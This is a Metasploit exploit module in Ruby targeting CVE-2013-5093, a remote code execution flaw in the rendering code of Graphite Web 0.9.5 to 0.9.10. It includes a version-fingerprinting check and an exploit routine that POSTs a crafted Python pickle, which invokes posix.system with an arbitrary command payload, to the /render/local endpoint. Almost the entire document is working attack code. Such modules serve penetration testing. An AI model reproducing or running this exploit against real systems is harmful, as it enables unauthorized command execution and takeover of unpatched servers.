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##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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  Rank = ExcellentRanking
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  include Msf::Exploit::Remote::HttpClient
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  def initialize(info = {})
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    super(
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      update_info(
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        info,
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        'Name' => 'Graphite Web Unsafe Pickle Handling',
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        'Description' => %q{
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          This module exploits a remote code execution vulnerability in the pickle
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          handling of the rendering code in the Graphite Web project between version
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          0.9.5 and 0.9.10 (both included).
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        },
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        'Author' => [
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          'Charlie Eriksen', # Initial discovery and exploit
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          'funkypickle' # Version check to prove vulnerable
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        ],
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        'License' => MSF_LICENSE,
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        'References' => [
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          [ 'CVE', '2013-5093'],
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          [ 'URL', 'http://ceriksen.com/2013/08/20/graphite-remote-code-execution-vulnerability-advisory/']
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        ],
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        'Platform' => 'unix',
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        'Arch' => ARCH_CMD,
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        'Privileged' => false,
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        'Targets'	=> [ ['Automatic', {} ] ],
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        'DisclosureDate' => '2013-08-20',
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        'DefaultTarget' => 0,
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        'Payload' => {
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          'DisableNops' => true,
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          'Space'	=> 16384,
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          'Compat'	=>
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                        {
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                          'PayloadType' => 'cmd',
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                          'RequiredCmd' => 'python generic telnet netcat perl ruby'
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                        }
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        },
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        'Notes' => {
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          'Reliability' => UNKNOWN_RELIABILITY,
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          'Stability' => UNKNOWN_STABILITY,
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          'SideEffects' => UNKNOWN_SIDE_EFFECTS
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        }
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      )
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    )
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    register_options(
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      [
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        OptString.new('TARGETURI', [ true, 'The path to a vulnerable application', '/'])
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      ]
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    )
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  end
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  def check
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    res1 = send_request_cgi({
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      # trailing slash required
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      'uri' => normalize_uri(target_uri.path, 'version/'),
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      'method' => 'GET'
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    })
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    res2 = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, 'render', 'local'),
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      'method' => 'POST'
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    })
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    if (res1 and %w(0.9.5 0.9.10).include?(res1.body.strip)) and (res2 and res2.code == 500)
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      return Exploit::CheckCode::Vulnerable
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    end
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    return Exploit::CheckCode::Safe
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  end
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  def exploit
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    data = "line\ncposix\nsystem\np1\n(S'#{payload.encoded}'\np2\ntp3\nRp4\n."
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    print_status("Sending exploit payload...")
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    response = send_request_cgi({
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      'uri' => normalize_uri(target_uri.path, 'render', 'local'),
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      'method' => 'POST',
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      'data' => data
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    })
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  end
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end
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